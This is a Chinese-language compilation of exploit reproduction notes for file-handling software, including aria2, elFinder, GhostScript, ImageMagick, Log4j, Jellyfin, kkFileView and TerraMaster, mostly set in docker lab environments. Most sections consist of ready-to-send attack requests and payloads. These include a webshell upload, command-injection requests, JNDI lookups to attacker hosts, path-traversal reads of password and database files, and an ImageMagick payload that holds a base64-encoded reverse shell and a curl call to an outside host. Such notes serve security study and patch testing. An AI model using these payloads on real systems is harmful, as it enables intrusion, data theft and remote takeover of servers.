文件处理与管理工具漏洞


IP签名

文件处理与管理

aria2

rce

Aria2 任意文件写入漏洞

Aria2是一个命令行下轻量级、多协议、多来源的下载工具(支持 HTTP/HTTPS、FTP、BitTorrent、Metalink),内建XML-RPC和JSON-RPC接口。在有权限的情况下,我们可以使用RPC接口来操作aria2来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞。

参考文章:https://paper.seebug.org/120/

环境搭建

启动漏洞环境:

docker compose up -d

6800是aria2的rpc服务的默认端口,环境启动后,访问http://your-ip:6800/,发现服务已启动并且返回404页面。

漏洞复现

因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如 http://binux.github.io/yaaw/demo/

打开yaaw,点击配置按钮,填入运行aria2的目标域名:http://your-ip:6800/jsonrpc:

然后点击Add,增加一个新的下载任务。在Dir的位置填写下载至的目录,File Name处填写文件名。比如,我们通过写入一个crond任务来反弹shell:

这时候,arai2会将恶意文件(我指定的URL)下载到/etc/cron.d/目录下,文件名为shell。而在debian中,/etc/cron.d目录下的所有文件将被作为计划任务配置文件(类似crontab)读取,等待一分钟不到即成功反弹shell:

如果反弹不成功,注意crontab文件的格式,以及换行符必须是\n,且文件结尾需要有一个换行符。

当然,我们也可以尝试写入其他文件,更多利用方法可以参考这篇文章

EasyImage

EasyImage down.php 任意文件读取漏洞

漏洞描述

EasyImage down.php 文件存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器任意文件

漏洞影响

EasyImage

网络测绘

app=”EasyImage-简单图床”

漏洞复现

主页面

img

验证POC

/application/down.php?dw=./config/config.php

image-20240811104015306

EasyImage manager.php 后台任意文件上传漏洞

漏洞描述

EasyImage manager.php 存在任意文件上传漏洞,攻击者通过漏洞可以上传恶意文件到服务器获取服务器权限

漏洞影响

EasyImage

网络测绘

app=”EasyImage-简单图床”

漏洞复现

主页面

img

登陆后台后发送POC (通过任意文件读取获取账号密码)

POST /admin/manager.php?p= HTTP/1.1
Host: 
Accept: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cache-Control: no-cache
Content-Length: 1622
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEUCF9Yq83AkaO6sv
Cookie: Hm_lvt_c790ac2bdc2f385757ecd0183206108d=1680341989; auth=a%3A2%3A%7Bi%3A0%3Bs%3A7%3A%22tossone%22%3Bi%3A1%3Bs%3A32%3A%22590368bca375c2f8fe93df7d253481e8%22%3B%7D; Hm_lpvt_c790ac2bdc2f385757ecd0183206108d=1680342144; filemanager=sdeemhj3b9aeoretftrlijjh25
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36

------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="dzuuid"

7e4fad9a-3545-4ed6-b655-b3e3a6b2978c
------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="dzchunkindex"

0
------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="dztotalfilesize"

583
------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="dzchunksize"

10000000
------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="dztotalchunkcount"

1
------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="dzchunkbyteoffset"

0
------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="p"


------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="fullpath"

shell.php
------WebKitFormBoundaryEUCF9Yq83AkaO6sv
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

234

------WebKitFormBoundaryEUCF9Yq83AkaO6sv--

img

上传访问地址为

/i/shell.php

elfinder

CVE-2021-32682

elFinder ZIP 参数与任意命令注入(CVE-2021-32682)

elFinder是一个基于PHP、Jquery的开源文件管理系统。

在elFinder 2.1.48及以前的版本中,存在一处参数注入漏洞。攻击者可以利用这个漏洞在目标服务器上执行任意命令,即使是最小化安装的elFinder。

这个漏洞的原因除了参数注入外,还有默认情况下的未授权访问,因此我们可以对elFinder增加权限校验,避免任意用户操作服务器上的文件,进而避免被执行任意命令。当然,升级版本到2.1.49及以上也是必要的。

参考链接:

漏洞环境

执行如下命令启动一个elFinder 2.1.48版本服务器:

docker compose up -d

服务启动后,访问http://your-ip:8080即可查看到elFinder的文件管理页面。

漏洞复现

复现这个漏洞首先需要用elFinder提供的功能,创建两个文件。

先创建一个普通的文本文件1.txt

然后右键这个文件,对其进行打包,打包后的文件命名为2.zip

最后我们获得1.txt2.zip两个文件:

然后,发送如下数据包来执行任意命令:

GET /php/connector.minimal.php?cmd=archive&name=-TvTT=id>shell.php%20%23%20a.zip&target=l1_Lw&targets%5B1%5D=l1_Mi56aXA&targets%5B0%5D=l1_MS50eHQ&type=application%2Fzip HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://localhost.lan:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

这个数据包中,你可以看到三个重要的参数:

  • name, 值为-TvTT=id>shell.php # a.zip,你可以修改id>shell.php为任意你想执行的命令
  • targets[0], 值为l1_MS50eHQl1意思是第一个文件系统(默认值,不用修改),MS50eHQ1.txt的base64编码
  • targets[1], 值为l1_Mi56aXAl1意思是第一个文件系统(默认值,不用修改),Mi56aXA2.zip的base64编码

虽然这个数据包发送后会返回错误信息,但实际上其中指定的命令已经被成功执行,可以访问http://your-ip:8080/files/shell.php查看执行的结果:

image-20240805182332391

gitlist

CVE-2018-1000533

gitlist 0.6.0 远程命令执行漏洞(CVE-2018-1000533)

gitlist是一款使用PHP开发的图形化git仓库查看工具。在其0.6.0版本及以前,存在一处命令参数注入问题,可以导致远程命令执行漏洞。

参考链接:

环境搭建

执行如下命令启动一个GitList 0.6.0:

docker compose up -d

环境启动后,访问http://your-ip:8080将看到一个名为example的仓库。

漏洞原理

在用户对仓库中代码进行搜索的时候,gitlist将调用git grep命令:

public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }

    $query = escapeshellarg($query);

    try {
        $results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
    } catch (\RuntimeException $e) {
        return false;
    }

其中,$query是搜索的关键字,$branch是搜索的分支。

如果用户输入的$query的值是--open-files-in-pager=id;,将可以执行id命令:

导致这个漏洞的原因,有几点:

  1. 开发者对于escapeshellarg函数的误解,造成参数注入
  2. git grep的参数--open-files-in-pager的值,将被直接执行

理论上,在经过$query = escapeshellarg($query);处理后,$query将变成一个由单引号包裹的字符串。但不出漏洞的前提是,这个字符串应该出现在“参数值”的位置,而不是出现在参数选项(option)中。

我们可以试一下如下命令:

git grep -i --line-number -e '--open-files-in-pager=id;' master

如上图,我将$query放在了-e参数的值的位置,此时它就仅仅是一个字符串而已,并不会被当成参数--open-files-in-pager

这应该作为本漏洞的最佳修复方法,也是git官方对pattern可能是用户输入的情况的一种解决方案(以下说明来自man-page):

-e
The next parameter is the pattern. This option has to be used for patterns starting with - and should be used in scripts passing user input to grep. Multiple patterns are combined by
or.

当然,gitlist的开发者用了另一种修复方案:

public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }
    $query = preg_replace('/(--?[A-Za-z0-9\-]+)/', '', $query);
    $query = escapeshellarg($query);
    try {
        $results = $this->getClient()->run($this, "grep -i --line-number -- {$query} $branch");
    } catch (\RuntimeException $e) {
        return false;
    }

首先用preg_replace-开头的非法字符移除,然后将$query放在--的后面。在命令行解析器中,--的意思是,此后的部分不会再包含参数选项(option):

A – signals the end of options and disables further option processing. Any arguments after the – are treated as filenames and arguments. An argument of - is equivalent to –.

If arguments remain after option processing, and neither the -c nor the -s option has been supplied, the first argument is assumed to be the name of a file containing shell commands. If bash is invoked in this fashion, $0 is set to the name of the file, and the positional parameters are set to the remaining arguments. Bash reads and executes commands from this file, then exits. Bash’s exit status is the exit status of the last command executed in the script. If no commands are executed, the exit status is 0. An attempt is first made to open the file in the current directory, and, if no file is found, then the shell searches the directories in PATH for the script.

举个简单的例子,如果我们需要查看一个文件名是--name的文件,我们就不能用cat --name来读取,也不能用cat '--name',而必须要用cat -- --name。从这个例子也能看出,单引号并不是区分一个字符串是“参数值”或“选项”的标准。

所以官方这个修复方案也是可以接受的,只不过第一步的preg_replace有点影响正常搜索功能。

漏洞复现

发送如下数据包:

POST /example/tree/a/search HTTP/1.1
Host: your-ip:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Content-Length: 56

query=--open-files-in-pager=touch /tmp/success;

其中,我们访问的是/example/tree/a/search,example是项目名称,需要是目标gitlist上一个已存在的项目;a在正常情况下应该是分支的名称,也就是"grep -i --line-number {$query} $branch"中的$branch,但因为我们的$query被当成了一个参数,所以$branch就应该被当做搜索的关键字。

如果没有搜索结果的话,我们的命令是不会被执行的,所以我用了“a”这个关键字,只是为了保证能搜出结果,你也可以换成其他的试试。

数据包发送后,用docker compose exec web bash进入容器中,可见/tmp/success已成功创建:

ghostscript

CVE-2018-16509

GhostScript 沙箱绕过(命令执行)漏洞(CVE-2018-16509)

8 月 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞:

GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。

漏洞环境

执行如下命令启动漏洞环境(其中包括最新版 GhostScript 9.23、ImageMagick 7.0.8):

docker compose up -d

环境启动后,访问http://your-ip:8080将可以看到一个上传组件。

漏洞复现

上传poc.png,将执行命令id > /tmp/success && cat /tmp/success。此时进入容器docker compose exec web bash,将可以看到/tmp/success已被创建:

你也可以使用命令行测试该漏洞:

docker run -it --rm --name im -v `pwd`/poc.png:/poc.png vulhub/imagemagick:7.0.8-10 convert /poc.png /poc.gif

可见,id命令已被成功运行。

CVE-2018-19475

GhostScript 沙箱绕过(命令执行)漏洞(CVE-2018-19475)

2018年底来自Semmle Security Research Team的Man Yue Mo发表了CVE-2018-16509漏洞的变体CVE-2018-19475,可以通过一个恶意图片绕过GhostScript的沙盒,进而在9.26以前版本的gs中执行任意命令。

参考链接:

漏洞环境

执行如下命令启动漏洞环境(其中包括 GhostScript 9.25、ImageMagick 7.0.8-20):

docker compose up -d

环境启动后,访问http://your-ip:8080将可以看到一个上传组件。

漏洞复现

将POC作为图片上传,执行命令id > /tmp/success && cat /tmp/success

POST /index.php HTTP/1.1
Host: target
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryukZmnyhO
Content-Length: 279

------WebKitFormBoundaryukZmnyhO
Content-Disposition: form-data; name="file_upload"; filename="1.jpg"
content-Type="image/png"

%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file
------WebKitFormBoundaryukZmnyhO--

命令已成功执行:

当然,真实环境下通常无法直接回显漏洞执行结果,你需要使用带外攻击的方式来检测漏洞。

CVE-2019-6116

GhostScript 沙箱绕过(命令执行)漏洞(CVE-2019-6116)

2019年1月23日晚,Artifex官方在ghostscriptf的master分支上提交合并了多达6处的修复。旨在修复 CVE-2019-6116 漏洞,该漏洞由 Google 安全研究员 Tavis 于2018年12月3日提交。该漏洞可以直接绕过 ghostscript 的安全沙箱,导致攻击者可以执行任意命令/读取任意文件。

GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。

参考链接:

漏洞环境

执行如下命令启动漏洞环境(其中包括最新版 GhostScript 9.26、ImageMagick 7.0.8-27):

docker compose up -d

环境启动后,访问http://your-ip:8080将可以看到一个上传组件。

漏洞复现

作者给出了POC,上传这个文件,即可执行id > /tmp/success

我们也可以用docker run -it --rm --name uu -v `pwd`/poc.png:/tmp/poc.png vulhub/imagemagick:7.0.8-27-php identify /tmp/poc.png来直接测试poc:

2

Jellyfin

CVE-2021-21402

Jellyfin stream.mp3 任意文件读取漏洞

漏洞描述

Jellyfin是一个免费软件媒体系统。在10.7.1版之前的Jellyfin中,带有某些终结点的精心设计的请求将允许从Jellyfin服务器的文件系统中读取任意文件。当Windows用作主机OS时,此问题更为普遍。暴露于公共Internet的服务器可能会受到威胁。在版本10.7.1中已修复此问题。解决方法是,用户可以通过在文件系统上实施严格的安全权限来限制某些访问,但是建议尽快进行更新。

漏洞影响

Jellyfin < 10.7.1

网络测绘

title=’Jellyfin’ || body=’http://jellyfin.media'

漏洞复现

无论是/Audio/{Id}/hls/{segmentId}/stream.mp3/Audio/{Id}/hls/{segmentId}/stream.aac路线允许任意文件在Windows上读取。可以{segmentId}使用Windows路径分隔符\(对%5CURL进行编码)将路由的一部分设置为相对或绝对路径。最初,攻击者似乎只能读取以.mp3.aac结尾的文件。但是,通过在URL路径中使用斜杠

Path.GetExtension(Request.Path)返回一个空扩展名,从而获得对结果文件路径的完全控制。的itemId,因为它没有使用也没有关系。该问题不仅限于Jellyfin文件,因为它允许从文件系统读取任何文件。

// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] // [1]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.mp3", Name = "GetHlsAudioSegmentLegacyMp3")]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.aac", Name = "GetHlsAudioSegmentLegacyAac")]
//...
public ActionResult GetHlsAudioSegmentLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string segmentId)
{
    // TODO: Deprecate with new iOS app
    var file = segmentId + Path.GetExtension(Request.Path); //[2]
    file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);

    return FileStreamResponseHelpers.GetStaticFileResult(file, MimeTypes.GetMimeType(file)!, false, HttpContext);
}

使用如下请求将会读取带有密码的数据库文件

http://xxx.xxx.xxx.xxx /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/

另一处代码如下

// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] //[1]
[HttpGet("Videos/{itemId}/hls/{playlistId}/{segmentId}.{segmentContainer}")]
//...
public ActionResult GetHlsVideoSegmentLegacy(
    [FromRoute, Required] string itemId,
    [FromRoute, Required] string playlistId,
    [FromRoute, Required] string segmentId,
    [FromRoute, Required] string segmentContainer)
{
    var file = segmentId + Path.GetExtension(Request.Path); //[2]
    var transcodeFolderPath = _serverConfigurationManager.GetTranscodePath();

    file = Path.Combine(transcodeFolderPath, file); //[3]

    var normalizedPlaylistId = playlistId;

    var filePaths = _fileSystem.GetFilePaths(transcodeFolderPath);
    // Add . to start of segment container for future use.
    segmentContainer = segmentContainer.Insert(0, ".");
    string? playlistPath = null;
    foreach (var path in filePaths)
    {
        var pathExtension = Path.GetExtension(path);
        if ((string.Equals(pathExtension, segmentContainer, StringComparison.OrdinalIgnoreCase)
                || string.Equals(pathExtension, ".m3u8", StringComparison.OrdinalIgnoreCase)) //[4]
            && path.IndexOf(normalizedPlaylistId, StringComparison.OrdinalIgnoreCase) != -1) //[5]
        {
            playlistPath = path;
            break;
        }
    }

    return playlistPath == null
        ? NotFound("Hls segment not found.")
        : GetFileResult(file, playlistPath);
}

/Videos/{Id}/hls/{PlaylistId}/{SegmentId}.{SegmentContainer}路由允许在Windows上读取未经身份验证的任意文件。可以{SegmentId}.{SegmentContainer}使用Windows路径分隔符\(对%5CURL进行编码)将路由的一部分设置为相对或绝对路径。在SegmentId从和文件扩展名Path被级联。结果file用作Path.Combine[3]的第二个参数。但是,如果第二个参数是绝对路径,则第一个参数to将Path.Combine被忽略,而得到的路径仅是绝对路径file

POC如下,下载同样的文件

http://xxx.xxx.xxx.xxx/Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db

CVE-2021-29490

Jellyfin RemoteImageController.cs SSRF漏洞

漏洞描述

Jellyfin RemoteImageController.cs 文件中存在SSRF漏洞,通过构造特殊的请求,探测内网信息

漏洞影响

Jellyfin < 10.7.2

网络测绘

app=”Jellyfin”

漏洞复现

在官方的更新文件中,查找到修改的文件

img

官方删除了某个方法

function getDisplayUrl(url, apiClient) {
        return apiClient.getUrl('Images/Remote', { imageUrl: url });
    }

下载漏洞版本源码,查找该接口对应的文件

Jellyfin.Api/Controllers/RemoteImageController.cs

img其中接收的参数为 imageUrl ,后续的代码片段存在SSRF漏洞

img

构造请求POC

/Images/Remote?imageUrl=http://www.baidu.com

image-20240811162231416

kkfileview

CVE-2021-43734

kkFileView getCorsFile 任意文件读取漏洞

漏洞描述

kkFileView getCorsFile 3.6.0 版本以下存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中的任意文件,获取服务器敏感信息

漏洞影响

kkFileView getCorsFile <= 3.6.0

网络测绘

body=”kkFileView”

漏洞复现

主页面

img

验证POC

/getCorsFile?urlPath=file:///etc/passwd 

image-20240811164126678

4.3-zipslip-rce

kkFileView ZipSlip 远程命令执行漏洞

kkFileView是一个文档预览解决方案。

在kkFileView 4.4.0-beta以前,存在一处ZipSlip漏洞。攻击者可以利用该漏洞,向服务器任意目录下写入文件,导致任意命令执行漏洞。

参考链接:

漏洞环境

执行如下命令启动一个kkFileView 3.4.0服务器:

docker compose up -d

服务启动后,访问http://your-ip:8012即可查看到首页。

漏洞复现

首先,修改并执行poc.py,生成POC文件:

python poc.py

然后,test.zip将被写入到当前目录下。

上传test.zipsample.odt两个文件到kkFileView服务中:

然后,点击test.zip的“预览”按钮,可以看到zip压缩包中的文件列表:

最后,点击sample.odt的“预览”按钮,触发代码执行漏洞。

可见,touch /tmp/success已经成功被执行:

image-20240805182626344

librsvg

CVE-2023-38633

librsvg XInclude 文件包含漏洞(CVE-2023-38633)

librsvg是一个用于处理SVG图片的开源依赖库。

librsvg支持XML中的XInclude规范,可以用于加载外部内容。在librsvg 2.56.3版本以前,由于处理路径存在逻辑错误,导致攻击者可以传入一个恶意构造的SVG图片,进而读取到任意文件。

参考链接:

漏洞环境

执行如下命令启动一个PHP服务器,其中使用librsvg 2.50.7将用户上传的SVG图片转换成PNG图片并返回:

docker compose up -d

环境启动后,访问http://your-ip:8080即可查看到上传页面。

漏洞复现

将路径嵌入到<xi:include>标签中,如下POC:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="300" height="300" xmlns:xi="http://www.w3.org/2001/XInclude">
  <rect width="300" height="300" style="fill:rgb(255,255,255);" />
  <text x="10" y="100">
    <xi:include href=".?../../../../../../../../../../etc/passwd" parse="text" encoding="UTF-8">
      <xi:fallback>file not found</xi:fallback>
    </xi:include>
  </text>
</svg>

上传这个SVG图片,即可查看到/etc/passwd已被成功读取并渲染进PNG图片中:

image-20240805182723522

log4j

CVE-2017-5645

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

漏洞环境

执行如下命令启动漏洞环境

docker compose up -d

环境启动后,将在4712端口开启一个TCPServer。

说一下,除了使用vulhub的docker镜像搭建环境外,我们下载了log4j的jar文件后可以直接在命令行启动这个TCPServer:java -cp "log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer,无需使用vulhub和编写代码。

漏洞复现

我们使用ysoserial生成payload,然后直接发送给your-ip:4712端口即可。

java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712

然后执行docker compose exec log4j bash进入容器,可见 /tmp/success 已成功创建:

执行反弹shell的命令,成功弹回shell:

CVE-2021-44228

Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

中文版本(Chinese version)

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

参考链接:

漏洞影响

2.0~2.14.1

使用此依赖的JAVA应用

漏洞环境

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:

docker compose up -d

服务启动后,访问http://your-ip:8983即可查看到Apache Solr的后台页面。

漏洞复现

${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:

GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close

我们可以在DNS日志平台收到相关日志,显示出当前Java版本:

实际利用JNDI注入漏洞,可以使用JNDInjector。利用完毕后,可见touch /tmp/success已经成功被执行:

image-20240805182935354

参数点发送请求

img

POST /api/2.0/login HTTP/1.1
Host:
Cookie: JSESSIONID_AV=567CEDA964EE4D5DA8B7FC8C90912B01
Content-Length: 86
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96", "Google Chrome";v="96"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
cmd: whoami
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

{"username":"${jndi:ldap://xxx.xxx.xxx.xxx:1389/Basic/TomcatEcho}","password":"admin"}

img

imagemagick

CVE-2020-29599

Imagemagick PDF密码位置命令注入漏洞(CVE-2020-29599)

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。研究者@insertScript 发现在Imagemagick 7.0.10-35到7.0.10-40、6.9.11-35 up到6.9.11-40处理PDF的过程中存在一处命令注入漏洞,通过构造好的SVG格式图片文件,即可在Imagemagick中注入任意命令。

参考链接:

漏洞环境与复现

直接执行如下命令进入安装了Imagemagick 7.0.10-36的Linux环境:

docker compose run im bash

进入/tmp目录,对poc.svg进行格式转换,即可触发漏洞:

root@f200ec9e1c1e:/# cd /tmp/
root@f200ec9e1c1e:/tmp# ls
poc.svg
root@f200ec9e1c1e:/tmp# identify poc.svg
poc.svg SVG 700x700 700x700+0+0 16-bit sRGB 398B 0.000u 0:00.003
root@f200ec9e1c1e:/tmp# convert poc.svg poc.png
sh: 1: : Permission denied
convert: MagickCore/image.c:1168: DestroyImage: Assertion `image != (Image *) NULL' failed.
Aborted
root@f200ec9e1c1e:/tmp# ls
0wned  poc.svg
root@f200ec9e1c1e:/tmp#

此时命令echo $(id)> ./0wned已执行成功:

image-20240805183242084

CVE-2022-44268

ImageMagick任意文件读取漏洞(CVE-2022-44268)

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。

在ImageMagick 7.1.0-51版本及以前,其处理PNG文件的代码中存在一处功能,会导致转换图片时读取到当前操作系统上的任意文件,并将文件内容输出在图片内容中。

参考链接:

漏洞环境

执行如下命令启动一个Web服务器,这个服务器的功能是将用户上传的任意图片缩小成50x50的PNG图片。

docker compose up -d

服务启动后,访问http://your-ip:8080可以看到图片上传框:

后端服务的代码十分简单:

$newname = uniqid() . '.png';
shell_exec("convert -resize 50x50 {$_FILES['file_upload']['tmp_name']} ./{$newname}");

漏洞复现

利用这个漏洞,需要先准备一个恶意PNG文件,文件内容中包含我们准备读取的文件路径:

可以使用poc.py来生成这个图片:

./poc.py generate -o poc.png -r /etc/passwd

执行poc.py前请安装PyPNGpip install pypng

如果你使用010editor查看这个图片,可以看到其中包含一个类型是tEXt的chunk,其中包含我们的Payload profile=/etc/passwd

接着,我们将这个图片上传到目标服务中:

下载服务处理后生成的图片,使用poc.py提取出其中所有内容:

./poc.py parse -i out.png

可以看到,已经提取出/etc/passwd文件的内容,这部分内容是由ImageMagick在处理旧图片时读取并写入到新图片中。

imagetragick

Imagetragick 命令执行漏洞(CVE-2016–3714)

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。

参考链接:

漏洞环境

执行如下命令启动一个包含了Imagemagick 6.9.2-10的PHP服务器:

docker compose up -d

漏洞复现

访问http://your-ip:8080/即可查看到一个上传组件。

发送如下数据包:

POST / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Length: 328

------WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Disposition: form-data; name="file_upload"; filename="1.gif"
Content-Type: image/png

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|curl "www.leavesongs.com:8889)'
pop graphic-context
------WebKitFormBoundarymdcbmdQR1sDse9Et--

可见,www.leavesongs.com:8889已经接收到http请求,说明curl命令执行成功:

反弹shell POC:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ1LjMyLjQzLjQ5Lzg4ODkgMD4mMQ== | base64 -d | bash`"||id " )'
pop graphic-context

image-20240805183418790

TerraMaster

CVE-2020-28185

TerraMaster TOS 用户枚举漏洞

描述:TerraMaster TOS 存在用户枚举漏洞,通过wizard/initialise.php页面的username参数即可枚举系统中的用户,以及泄露邮箱信息

漏洞影响

TerraMaster TOS < 4.2.06

网络测绘

“TerraMaster” && header=”TOS”

漏洞复现

漏洞点来源于找回密码的用户存在校验

img

输入用户名 admin 点击确定,查看Burp捕获的包

其中有一个请求包用于确认用户admin是否存在

img

存在则返回用户的邮箱信息

CVE-2020-28186

TerraMaster TOS 任意账号密码修改漏洞

漏洞描述

TerraMaster TOS <= 4.2.06中的电子邮件注入允许未经身份验证的远程攻击者利用忘记密码功能,重置账号密码实现账号接管。

漏洞影响

TerraMaster TOS < 4.2.06

网络测绘

“TerraMaster” && header=”TOS”

漏洞复现

首先需要知道已知用户名,可以参考 TerraMaster TOS 用户枚举漏洞 CVE-2020-28185 获取已知的用户名

重置页面输入获取的账号和邮箱

img

点击确定,抓包更换邮箱接收验证码

img

通过接收的验证码即可更换账号密码登录后台

image-20240811201125413

CVE-2020-28187

TerraMaster TOS 后台任意文件读取漏洞

漏洞描述

TerraMaster TOS <= 4.2.06中的多个目录遍历漏洞允许远程身份验证的攻击者通过/tos/index.php?editor/fileGet路径下的filename参数、 /include/ajax/logtable.php路径下的Event参数和/include/core/index.php路径下的opt参数,读取文件系统中的任何文件。

漏洞影响

TerraMaster TOS < 4.2.06

网络测绘

“TerraMaster” && header=”TOS”

漏洞复现

登陆后访问,验证漏洞的POC为

/tos/index.php?editor/fileGet&filename=../../../../../../etc/passwd

image-20240811201051064

CVE-2022-24989

TerraMaster TOS createRaid 远程命令执行漏洞

漏洞描述

TerraMaster TOS mobile.class.php文件的createRaid方法存在远程命令执行漏洞 ,攻击者配合 CVE-2022-24990漏洞可以获取服务器权限

漏洞影响

TerraMaster TOS < 4.2.31

网络测绘

“TerraMaster” && header=”TOS”

漏洞复现

登录页面

img

我们查看 mobile.class.php文件中的 createRaid方法, 其中参数raidtype和参数diskstring均为可控参数

img

注意这一行代码并跟踪 volume_make_from_disks 方法

$ret = $vol->volume_make_from_disks($this->in['raidtype'], $filesystem, $disks, $volume_size);

img

可以看到方法调用中的 $levek 参数是可控参数,传入 _backexec方法中,可导致命令拼接执行恶意命令

img

回到 mobile.class.php 文件开头的定义

static $notCheck = [
        "webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected",'createid',
        'user_create','user_bond','user_release','login', 'logout', 'checkCode', "wapNasIPS"
    ];
    //不验证头信息是否匹配...
    static $notHeader = ["fileDownload", "videoPlay", "imagesThumb", "imagesView", "fileUpload", "tempClear", "wapNasIPS", "webNasIPS", "isConnected"];
    private static $U = null;
